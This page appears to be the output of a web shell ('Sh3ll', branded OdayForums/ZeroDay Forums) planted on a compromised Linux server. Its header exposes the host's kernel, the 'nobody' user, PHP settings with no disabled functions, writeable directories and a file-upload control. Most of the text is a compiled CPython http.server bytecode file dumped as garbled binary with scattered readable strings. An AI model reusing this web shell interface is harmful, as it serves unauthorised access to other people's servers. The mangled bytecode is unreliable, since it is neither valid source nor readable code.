Sh3ll
OdayForums


Server : Apache
System : Linux server1.cgrithy.com 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : nobody ( 99)
PHP Version : 8.1.23
Disable Function : NONE
Directory :  /opt/alt/python38/lib64/python3.8/http/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python38/lib64/python3.8/http/__pycache__/server.cpython-38.opt-2.pyc
U

��,a���@s�dZdddddgZddlZddlZddlZddlZddlZddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlZddlZddlZddlZddlZddlmZdd	lmZd
ZdZGdd�dej�ZGd
d�deje�ZGdd�dej�Z Gdd�de �Z!dd�Z"da#dd�Z$dd�Z%Gdd�de!�Z&dd�Z'e edddfdd�Z(e)dk�r�ddl*Z*e*�+�Z,e,j-ddd d!�e,j-d"d#d$d%d&�e,j-d'd(e�.�d)d*�e,j-d+d,de/d-d.d/�e,�0�Z1e1j2�r�e&Z3nee!e1j4d0�Z3Gd1d2�d2e�Z5e(e3e5e1j6e1j7d3�dS)4z0.6�
HTTPServer�ThreadingHTTPServer�BaseHTTPRequestHandler�SimpleHTTPRequestHandler�CGIHTTPRequestHandler�N)�partial)�
HTTPStatusa�<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
        "http://www.w3.org/TR/html4/strict.dtd">
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
        <title>Error response</title>
    </head>
    <body>
        <h1>Error response</h1>
        <p>Error code: %(code)d</p>
        <p>Message: %(message)s.</p>
        <p>Error code explanation: %(code)s - %(explain)s.</p>
    </body>
</html>
ztext/html;charset=utf-8c@seZdZdZdd�ZdS)r�cCs4tj�|�|jdd�\}}t�|�|_||_dS)N�)�socketserver�	TCPServer�server_bindZserver_address�socketZgetfqdn�server_name�server_port)�self�host�port�r�0/opt/alt/python38/lib64/python3.8/http/server.pyr
�szHTTPServer.server_bindN)�__name__�
__module__�__qualname__Zallow_reuse_addressr
rrrrr�sc@seZdZdZdS)rTN)rrrZdaemon_threadsrrrrr�sc
@seZdZdej��dZdeZe	Z
eZdZ
dd�Zdd�Zd	d
�Zdd�Zd?dd�Zd@dd�ZdAdd�Zdd�Zdd�Zdd�ZdBdd�Zdd�Zdd �Zd!d"�ZdCd#d$�Zd%d&�Zd'd(d)d*d+d,d-gZd
d.d/d0d1d2d3d4d5d6d7d8d9g
Zd:d;�Z d<Z!e"j#j$Z%d=d>�e&j'�(�D�Z)d
S)DrzPython/rz	BaseHTTP/�HTTP/0.9c
Cs�d|_|j|_}d|_t|jd�}|�d�}||_|��}t	|�dkrLdSt	|�dk�r&|d}zT|�
d�srt�|�d	d
�d
}|�d�}t	|�dkr�t�t|d�t|d
�f}Wn,tt
fk
r�|�tjd
|�YdSX|dk�r|jdk�rd|_|dk�r |�tjd|�dS||_dt	|�k�rBdk�sZn|�tjd|�dS|dd�\}}t	|�dk�r�d|_|dk�r�|�tjd|�dS|||_|_ztjj|j|jd�|_Wn�tjjk
�r}z|�tjdt|��WY�dSd}~XYnBtjjk
�rH}z|�tjdt|��WY�dSd}~XYnX|j�dd�}	|	��dk�rnd|_n |	��dk�r�|jdk�r�d|_|j�dd�}
|
��dk�r�|jdk�r�|jdk�r�|���s�dSdS)NTz
iso-8859-1z
rF����zHTTP/�/r	�.r
zBad request version (%r))r	r	zHTTP/1.1)r
rzInvalid HTTP version (%s)zBad request syntax (%r)ZGETzBad HTTP/0.9 request type (%r))Z_classz
Line too longzToo many headers�
Connection��close�
keep-aliveZExpectz100-continue) �command�default_request_version�request_version�close_connection�str�raw_requestline�rstrip�requestline�split�len�
startswith�
ValueError�int�
IndexError�
send_errorrZBAD_REQUEST�protocol_versionZHTTP_VERSION_NOT_SUPPORTED�path�http�clientZ
parse_headers�rfile�MessageClass�headersZLineTooLongZREQUEST_HEADER_FIELDS_TOO_LARGEZ
HTTPException�get�lower�handle_expect_100)r�versionr)�wordsZbase_version_numberZversion_numberr"r2�errZconntypeZexpectrrr�
parse_request
s�


�
��
�
������
z$BaseHTTPRequestHandler.parse_requestcCs|�tj�|��dS�NT)�send_response_onlyrZCONTINUE�end_headers�rrrrr:psz(BaseHTTPRequestHandler.handle_expect_100c
Cs�z�|j�d�|_t|j�dkrBd|_d|_d|_|�tj	�WdS|jsTd|_
WdS|��sbWdSd|j}t||�s�|�tj
d|j�WdSt||�}|�|j��Wn<tjk
r�}z|�d|�d|_
WY�dSd}~XYnXdS)NiirTZdo_zUnsupported method (%r)zRequest timed out: %r)r5�readliner'r+r)r$r"r0rZREQUEST_URI_TOO_LONGr%r>�hasattr�NOT_IMPLEMENTED�getattr�wfile�flushrZtimeout�	log_error)rZmname�method�errr�handle_one_request�s6

�
z)BaseHTTPRequestHandler.handle_one_requestcCs"d|_|��|js|��qdSr?)r%rLrBrrr�handle�szBaseHTTPRequestHandler.handleNcCsz|j|\}}Wntk
r.d\}}YnX|dkr<|}|dkrH|}|�d||�|�||�|�dd�d}|dkr�|tjtjtjfkr�|j	|t
j|dd�t
j|dd�d�}|�d	d
�}|�d|j
�|�dtt|���|��|jd
k�r|�r|j�|�dS)N)�???rNzcode %d, message %srr ��F��quote)�code�message�explainzUTF-8�replacezContent-Type�Content-LengthZHEAD)�	responses�KeyErrorrI�
send_response�send_headerrZ
NO_CONTENTZ
RESET_CONTENT�NOT_MODIFIED�error_message_format�html�escape�encode�error_content_typer&r+rAr"rG�write)rrRrSrTZshortmsgZlongmsgZbodyZcontentrrrr0�s:���z!BaseHTTPRequestHandler.send_errorcCs:|�|�|�||�|�d|���|�d|���dS)NZServerZDate)�log_requestr@rZ�version_string�date_time_string�rrRrSrrrrY�s
z$BaseHTTPRequestHandler.send_responsecCsd|jdkr`|dkr0||jkr,|j|d}nd}t|d�s@g|_|j�d|j||f�dd��dS)Nrrr�_headers_bufferz
%s %d %s
�latin-1�strict)r$rWrDrf�appendr1r_rerrrr@�s



��z)BaseHTTPRequestHandler.send_response_onlycCsl|jdkr6t|d�sg|_|j�d||f�dd��|��dkrh|��dkrVd|_n|��d	krhd
|_dS)Nrrfz%s: %s
rgrhZ
connectionr Tr!F)r$rDrfrir_r9r%)r�keyword�valuerrrrZ�s

�z"BaseHTTPRequestHandler.send_headercCs"|jdkr|j�d�|��dS)Nrs
)r$rfri�
flush_headersrBrrrrA
s
z"BaseHTTPRequestHandler.end_headerscCs(t|d�r$|j�d�|j��g|_dS)Nrf�)rDrGra�joinrfrBrrrrls
z$BaseHTTPRequestHandler.flush_headers�-cCs.t|t�r|j}|�d|jt|�t|��dS)Nz
"%s" %s %s)�
isinstancerrk�log_messager)r&)rrR�sizerrrrbs
�z"BaseHTTPRequestHandler.log_requestcGs|j|f|��dS�N)rq�r�format�argsrrrrI#sz BaseHTTPRequestHandler.log_errorcGs&tj�d|��|��||f�dS)Nz%s - - [%s] %s
)�sys�stderrra�address_string�log_date_time_stringrtrrrrq1s��z"BaseHTTPRequestHandler.log_messagecCs|jd|jS)N� )�server_version�sys_versionrBrrrrcGsz%BaseHTTPRequestHandler.version_stringcCs |dkrt��}tjj|dd�S)NT)Zusegmt)�time�email�utilsZ
formatdate)rZ	timestamprrrrdKsz'BaseHTTPRequestHandler.date_time_stringc	CsBt��}t�|�\	}}}}}}}}	}
d||j|||||f}|S)Nz%02d/%3s/%04d %02d:%02d:%02d)r~�	localtime�	monthname)rZnowZyearZmonthZdayZhhZmmZss�x�y�z�srrrrzQs�z+BaseHTTPRequestHandler.log_date_time_stringZMonZTueZWedZThuZFriZSatZSunZJanZFebZMarZAprZMayZJunZJulZAugZSepZOctZNovZDeccCs
|jdS�Nr)�client_addressrBrrrry_sz%BaseHTTPRequestHandler.address_string�HTTP/1.0cCsi|]}||j|jf�qSr)�phraseZdescription)�.0�vrrr�
<dictcomp>ns�z!BaseHTTPRequestHandler.<dictcomp>)NN)N)N)roro)N)*rrrrwr;r*r}�__version__r|�DEFAULT_ERROR_MESSAGEr\�DEFAULT_ERROR_CONTENT_TYPEr`r#r>r:rLrMr0rYr@rZrArlrbrIrqrcrdrzZweekdaynamer�ryr1r3r4ZHTTPMessager6r�__members__�valuesrWrrrrr�sTic%
5



�	�cs�eZdZdeZdd��fdd�
Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Ze
jshe
��e
j��Ze�ddddd���ZS)rzSimpleHTTP/N��	directorycs(|dkrt��}||_t�j||�dSrs)�os�getcwdr��super�__init__)rr�rv�kwargs��	__class__rrr��sz!SimpleHTTPRequestHandler.__init__cCs.|��}|r*z|�||j�W5|��XdSrs)�	send_headr �copyfilerG�r�frrr�do_GET�s
zSimpleHTTPRequestHandler.do_GETcCs|��}|r|��dSrs)r�r r�rrr�do_HEAD�sz SimpleHTTPRequestHandler.do_HEADcCs^|�|j�}d}tj�|�r�tj�|j�}|j�d�s�|�t	j
�|d|d|dd|d|df}tj�|�}|�d|�|�
�dSdD]&}tj�||�}tj�|�r�|}q�q�|�|�S|�|�}|�d�r�|�t	jd	�dSzt|d
�}Wn&tk
�r|�t	jd	�YdSX�z"t�|���}d|jk�r�d|jk�r�ztj�|jd�}	Wnttttfk
�r|YnzX|	j dk�r�|	j!t"j#j$d
�}	|	j t"j#j$k�r�t"j"�%|j&t"j#j$�}
|
j!dd�}
|
|	k�r�|�t	j'�|�
�|�(�WdS|�t	j)�|�d|�|�dt*|d��|�d|�+|j&��|�
�|WS|�(��YnXdS)Nrrr	r
r�ZLocation)z
index.htmlz	index.htmzFile not found�rbzIf-Modified-Sincez
If-None-Match)�tzinfo)Zmicrosecond�Content-typerV�z
Last-Modified),�translate_pathr2r��isdir�urllib�parseZurlsplit�endswithrYrZMOVED_PERMANENTLYZ
urlunsplitrZrArn�exists�list_directory�
guess_typer0�	NOT_FOUND�open�OSError�fstat�filenor7rr�Zparsedate_to_datetime�	TypeErrorr/�
OverflowErrorr-r�rU�datetime�timezoneZutcZ
fromtimestamp�st_mtimer[r �OKr&rd)rr2r��partsZ	new_partsZnew_url�indexZctypeZfsZimsZ
last_modifrrrr��s��


���

�z"SimpleHTTPRequestHandler.send_headc
	Cs�zt�|�}Wn$tk
r2|�tjd�YdSX|jdd�d�g}ztjj	|j
dd�}Wn tk
r~tj�	|�}YnXtj
|dd�}t��}d	|}|�d
�|�d�|�d|�|�d
|�|�d|�|�d�|D]v}tj
�||�}|}	}
tj
�|��r"|d}	|d}
tj
�|��r8|d}	|�dtjj|
dd�tj
|	dd�f�q�|�d�d�|��|d�}t��}|�|�|�d�|�tj�|�dd|�|�dtt|���|��|S)NzNo permission to list directorycSs|��Srs)r9)�arrr�<lambda>�rmz9SimpleHTTPRequestHandler.list_directory.<locals>.<lambda>)�key�
surrogatepass��errorsFrPzDirectory listing for %szZ<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">z
<html>
<head>z@<meta http-equiv="Content-Type" content="text/html; charset=%s">z<title>%s</title>
</head>z<body>
<h1>%s</h1>z	<hr>
<ul>r�@z<li><a href="%s">%s</a></li>z</ul>
<hr>
</body>
</html>
�
�surrogateescaperr�ztext/html; charset=%srV) r��listdirr�r0rr��sortr�r��unquoter2�UnicodeDecodeErrorr]r^rw�getfilesystemencodingrirnr��islinkrQr_�io�BytesIOra�seekrYr�rZr&r+rA)
rr2�list�rZdisplaypath�enc�title�name�fullnameZdisplaynameZlinknameZencodedr�rrrr��sh�
�


�
���


z'SimpleHTTPRequestHandler.list_directorycCs�|�dd�d}|�dd�d}|���d�}ztjj|dd�}Wn tk
rbtj�|�}YnXt�|�}|�d�}t	d|�}|j
}|D]0}tj�
|�s�|tjtjfkr�q�tj�||�}q�|r�|d7}|S)N�?r	r�#rr�r�)r*r(r�r�r�r�r��	posixpath�normpath�filterr�r�r2�dirname�curdir�pardirrn)rr2Ztrailing_slashr<Zwordrrrr�)s$	


z'SimpleHTTPRequestHandler.translate_pathcCst�||�dSrs)�shutilZcopyfileobj)r�sourceZ
outputfilerrrr�Gsz!SimpleHTTPRequestHandler.copyfilecCsLt�|�\}}||jkr"|j|S|��}||jkr>|j|S|jdSdS)Nr)r��splitext�extensions_mapr9)rr2�baseZextrrrr�Ws



z#SimpleHTTPRequestHandler.guess_typezapplication/octet-streamz
text/plain)r�.pyz.cz.h)rrrr�r|r�r�r�r�r�r�r�r��	mimetypesZinitedZinitZ	types_map�copyr��update�
__classcell__rrr�rrts$
	W:
�c	Cs�|�d�\}}}tj�|�}|�d�}g}|dd�D],}|dkrL|��q6|r6|dkr6|�|�q6|r�|��}|r�|dkr�|��d}q�|dkr�d}nd}|r�d�||f�}dd�|�|f}d�|�}|S)Nr�rrz..rr)�	partitionr�r�r�r*�poprirn)	r2�_�query�
path_partsZ
head_parts�partZ	tail_partZ	splitpath�collapsed_pathrrr�_url_collapse_path|s.


r�cCsrtrtSzddl}Wntk
r*YdSXz|�d�daWn.tk
rldtdd�|��D��aYnXtS)Nrr�nobodyr
r	css|]}|dVqdS)r
Nr)r�r�rrr�	<genexpr>�sznobody_uid.<locals>.<genexpr>)r��pwd�ImportError�getpwnamrX�maxZgetpwall)r�rrr�
nobody_uid�s r�cCst�|tj�Srs)r��access�X_OK)r2rrr�
executable�sr�c@sReZdZeed�ZdZdd�Zdd�Zdd�Z	d	d
gZ
dd�Zd
d�Zdd�Z
dS)r�forkrcCs$|��r|��n|�tjd�dS)NzCan only POST to CGI scripts)�is_cgi�run_cgir0rrErBrrr�do_POST�s
�zCGIHTTPRequestHandler.do_POSTcCs|��r|��St�|�SdSrs)r�r�rr�rBrrrr��szCGIHTTPRequestHandler.send_headcCsPt|j�}|�dd�}|d|�||dd�}}||jkrL||f|_dSdS)Nrr	TF)r�r2�find�cgi_directories�cgi_info)rr�Zdir_sep�head�tailrrrr��s


zCGIHTTPRequestHandler.is_cgiz/cgi-binz/htbincCst|�Srs)r�)rr2rrr�
is_executablesz#CGIHTTPRequestHandler.is_executablecCstj�|�\}}|��dkS)N)r�z.pyw)r�r2r�r9)rr2r�rrrr�	is_pythonszCGIHTTPRequestHandler.is_pythonc)	Cs�|j\}}|d|}|�dt|�d�}|dkr�|d|�}||dd�}|�|�}tj�|�r�||}}|�dt|�d�}q*q�q*|�d�\}}}	|�d�}|dkr�|d|�||d�}
}n
|d}
}|d|
}|�|�}tj�|��s
|�	t
jd|�dStj�|��s.|�	t
j
d|�dS|�|�}
|j�sF|
�sh|�|��sh|�	t
j
d|�dSt�tj�}|��|d	<|jj|d
<d|d<|j|d
<t|jj�|d<|j|d<tj�|�}||d<|�|�|d<||d<|	�r�|	|d<|jd|d<|j� d�}|�r�|�!�}t|�dk�r�ddl"}ddl#}|d|d<|d�$�dk�r�z"|d�%d�}|�&|��'d�}Wn|j(t)fk
�r�Yn&X|�!d�}t|�dk�r�|d|d<|j� d�dk�r�|j�*�|d<n|jd|d<|j� d�}|�r||d<|j� d �}|�r||d!<g}|j�+d"�D]>}|dd�d#k�rR|�,|�-��n||d$d��!d%�}�q,d%�.|�|d&<|j� d'�}|�r�||d(<t/d|j�0d)g��}d*�.|�}|�r�||d+<d,D]}|�1|d��q�|�2t
j3d-�|�4�|	�5d.d/�}|j�r|
g}d0|k�r|�,|�t6�}|j7�8�t�9�}|dk�r�t�:|d�\}}t;�;|j<gggd�d�r~|j<�=d��sN�q~�qN|�r�|�>d1|�dSz\zt�?|�Wnt@k
�r�YnXt�A|j<�B�d�t�A|j7�B�d�t�C|||�Wn(|j�D|jE|j�t�Fd2�YnX�n�ddlG} |g}!|�|��rrtHjI}"|"�$��Jd3��rf|"dd4�|"d5d�}"|"d6g|!}!d0|	k�r�|!�,|	�|�Kd7| �L|!��ztM|�}#WntNtOfk
�r�d}#YnX| jP|!| jQ| jQ| jQ|d8�}$|j�$�d9k�r|#dk�r|j<�=|#�}%nd}%t;�;|j<jRgggd�d�r>|j<jR�Sd��s
�q>�q
|$�T|%�\}&}'|j7�U|&�|'�rj|�>d:|'�|$jV�W�|$jX�W�|$jY}(|(�r�|�>d1|(�n
|�Kd;�dS)<Nrr	rr�rzNo such CGI script (%r)z#CGI script is not a plain file (%r)z!CGI script is not executable (%r)ZSERVER_SOFTWAREZSERVER_NAMEzCGI/1.1ZGATEWAY_INTERFACEZSERVER_PROTOCOLZSERVER_PORTZREQUEST_METHODZ	PATH_INFOZPATH_TRANSLATEDZSCRIPT_NAME�QUERY_STRINGZREMOTE_ADDR�
authorizationr
Z	AUTH_TYPEZbasic�ascii�:ZREMOTE_USERzcontent-typeZCONTENT_TYPEzcontent-length�CONTENT_LENGTH�referer�HTTP_REFERER�acceptz	

 ��,ZHTTP_ACCEPTz
user-agent�HTTP_USER_AGENTZcookiez, �HTTP_COOKIE)rZREMOTE_HOSTrr
rr	zScript output follows�+r{�=zCGI script exit status %#x�zw.exe������z-uzcommand: %s)�stdin�stdoutrx�envZpostz%szCGI script exited OK)Zr�r�r+r�r�r2r�r�r�r0rr��isfileZ	FORBIDDENr�	have_forkrr�Zdeepcopy�environrcZserverrr1r&rr"r�r�r�r�r7r8r*�base64�binasciir9r_Zdecodebytes�decode�Error�UnicodeErrorZget_content_typeZgetallmatchingheadersri�striprnr�Zget_all�
setdefaultrYr�rlrUr�rGrHr��waitpid�selectr5�readrI�setuidr��dup2r��execveZhandle_errorZrequest�_exit�
subprocessrwr�r�rqZlist2cmdliner.r�r-�Popen�PIPEZ_sockZrecvZcommunicaterarxr r�
returncode))r�dir�restr2�iZnextdirZnextrestZ	scriptdirr�r�ZscriptZ
scriptnameZ
scriptfileZispyrZuqrestrrrZlengthrr
�lineZua�coZ
cookie_str�kZ
decoded_queryrvr��pid�stsr(ZcmdlineZinterp�nbytes�p�datarrxZstatusrrrr�s<





��
�


�








�

zCGIHTTPRequestHandler.run_cgiN)rrrrDr�rZrbufsizer�r�r�r�rrr�rrrrr�s
cGs4tj|tjtjd��}tt|��\}}}}}||fS)N)�type�flags)rZgetaddrinfoZSOCK_STREAMZ
AI_PASSIVE�next�iter)ZaddressZinfosZfamilyr7�protoZ	canonnameZsockaddrrrr�_get_best_family�s�r<r�i@c	Cs�t||�\|_}||_|||���}|j��dd�\}}d|krLd|�d�n|}td|�d|�d|�d|�d�	�z|��Wn&tk
r�td	�t�	d
�YnXW5QRXdS)Nr
r�[�]zServing HTTP on z port z	 (http://z/) ...z&
Keyboard interrupt received, exiting.r)
r<Zaddress_familyr1rZgetsockname�printZ
serve_forever�KeyboardInterruptrw�exit)	�HandlerClass�ServerClassZprotocolr�bindZaddrZhttpdrZurl_hostrrr�test�s�rE�__main__z--cgi�
store_truezRun as CGI Server)�action�helpz--bindz-bZADDRESSz8Specify alternate bind address [default: all interfaces])�metavarrIz--directoryz-dz9Specify alternative directory [default:current directory])�defaultrIrZstorer�z&Specify alternate port [default: 8000])rHrKr7�nargsrIr�cseZdZ�fdd�Z�ZS)�DualStackServerc	s4t�t��|j�tjtjd�W5QRXt���Sr�)	�
contextlib�suppress�	ExceptionrZ
setsockoptZIPPROTO_IPV6ZIPV6_V6ONLYr�r
rBr�rrr
s�zDualStackServer.server_bind)rrrr
r�rrr�rrMsrM)rBrCrrD)8r��__all__r�r�Zemail.utilsrr]Zhttp.clientr3r�r�r�r�r"r�rrrwr~Zurllib.parser�rN�	functoolsrrr�r�rrZThreadingMixInrZStreamRequestHandlerrrr�r�r�r�rr<rEr�argparse�ArgumentParser�parser�add_argumentr�r.�
parse_argsrvZcgiZ
handler_classr�rMrrDrrrr�<module>Ss��c
0
�

�
�����

ZeroDay Forums Mini